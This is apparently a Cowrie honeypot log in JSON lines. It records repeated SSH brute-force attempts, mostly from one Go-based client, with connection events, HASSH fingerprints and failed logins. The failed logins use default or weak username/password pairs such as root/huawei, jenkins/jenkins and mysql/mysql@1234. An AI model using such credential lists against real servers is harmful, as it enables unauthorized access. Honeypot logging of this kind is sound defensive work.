{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:04.704383Z","src_ip":"45.156.87.254","session":"62b84c55e693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:05.791422Z","src_ip":"45.156.87.254","session":"62b84c55e693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53872,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f49f0eccd35","protocol":"ssh","message":"New connection: 45.156.87.254:53872 (159.203.135.109:22) [session: 4f49f0eccd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:08.389503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:08.395016Z","src_ip":"45.156.87.254","session":"4f49f0eccd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:08.479303Z","src_ip":"45.156.87.254","session":"4f49f0eccd35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:08.733992Z","src_ip":"45.156.87.254","session":"4f49f0eccd35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:09.827527Z","src_ip":"45.156.87.254","session":"4f49f0eccd35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34718,"dst_ip":"159.203.135.109","dst_port":22,"session":"f146bdf45879","protocol":"ssh","message":"New connection: 45.156.87.254:34718 (159.203.135.109:22) [session: f146bdf45879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:12.633349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:12.638251Z","src_ip":"45.156.87.254","session":"f146bdf45879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57472,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7a9386cd82","protocol":"telnet","message":"New connection: 104.245.105.2:57472 (10.17.0.5:23) [session: 0e7a9386cd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:12.661721Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:12.729334Z","src_ip":"45.156.87.254","session":"f146bdf45879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:12.987819Z","src_ip":"45.156.87.254","session":"f146bdf45879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:14.080496Z","src_ip":"45.156.87.254","session":"f146bdf45879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34720,"dst_ip":"159.203.135.109","dst_port":22,"session":"139166f4851e","protocol":"ssh","message":"New connection: 45.156.87.254:34720 (159.203.135.109:22) [session: 139166f4851e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:16.729735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:16.735276Z","src_ip":"45.156.87.254","session":"139166f4851e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:16.818057Z","src_ip":"45.156.87.254","session":"139166f4851e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:17.064842Z","src_ip":"45.156.87.254","session":"139166f4851e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:18.198276Z","src_ip":"45.156.87.254","session":"139166f4851e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.409552574157715,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:19.530092Z","src_ip":"104.245.105.2","session":"c72f1fe9e9ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59136,"dst_ip":"159.203.135.109","dst_port":22,"session":"61645b48ae68","protocol":"ssh","message":"New connection: 45.156.87.254:59136 (159.203.135.109:22) [session: 61645b48ae68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:20.790512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:20.795392Z","src_ip":"45.156.87.254","session":"61645b48ae68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:20.884942Z","src_ip":"45.156.87.254","session":"61645b48ae68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:21.139526Z","src_ip":"45.156.87.254","session":"61645b48ae68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:22.226738Z","src_ip":"45.156.87.254","session":"61645b48ae68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59146,"dst_ip":"159.203.135.109","dst_port":22,"session":"97fad6d37c5e","protocol":"ssh","message":"New connection: 45.156.87.254:59146 (159.203.135.109:22) [session: 97fad6d37c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:25.013610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:25.024264Z","src_ip":"45.156.87.254","session":"97fad6d37c5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:25.118441Z","src_ip":"45.156.87.254","session":"97fad6d37c5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:25.696356Z","src_ip":"45.156.87.254","session":"97fad6d37c5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:26.789051Z","src_ip":"45.156.87.254","session":"97fad6d37c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52448,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a98a57fbcf","protocol":"ssh","message":"New connection: 45.156.87.254:52448 (159.203.135.109:22) [session: 59a98a57fbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:29.780023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:29.788922Z","src_ip":"45.156.87.254","session":"59a98a57fbcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:29.873434Z","src_ip":"45.156.87.254","session":"59a98a57fbcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:30.421992Z","src_ip":"45.156.87.254","session":"59a98a57fbcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:31.507012Z","src_ip":"45.156.87.254","session":"59a98a57fbcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52460,"dst_ip":"159.203.135.109","dst_port":22,"session":"d215f6eb55f6","protocol":"ssh","message":"New connection: 45.156.87.254:52460 (159.203.135.109:22) [session: d215f6eb55f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:34.399562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:34.404734Z","src_ip":"45.156.87.254","session":"d215f6eb55f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:34.614055Z","src_ip":"45.156.87.254","session":"d215f6eb55f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:35.036380Z","src_ip":"45.156.87.254","session":"d215f6eb55f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:36.123730Z","src_ip":"45.156.87.254","session":"d215f6eb55f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45800,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8a25c75f6b6","protocol":"ssh","message":"New connection: 45.156.87.254:45800 (159.203.135.109:22) [session: f8a25c75f6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:39.071564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:39.086236Z","src_ip":"45.156.87.254","session":"f8a25c75f6b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:39.166669Z","src_ip":"45.156.87.254","session":"f8a25c75f6b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:39.727610Z","src_ip":"45.156.87.254","session":"f8a25c75f6b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:40.814795Z","src_ip":"45.156.87.254","session":"f8a25c75f6b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27978,"dst_ip":"10.17.0.5","dst_port":22,"session":"5da50ef8ddcd","protocol":"ssh","message":"New connection: 87.251.64.176:27978 (10.17.0.5:22) [session: 5da50ef8ddcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:14:42.332348Z"}
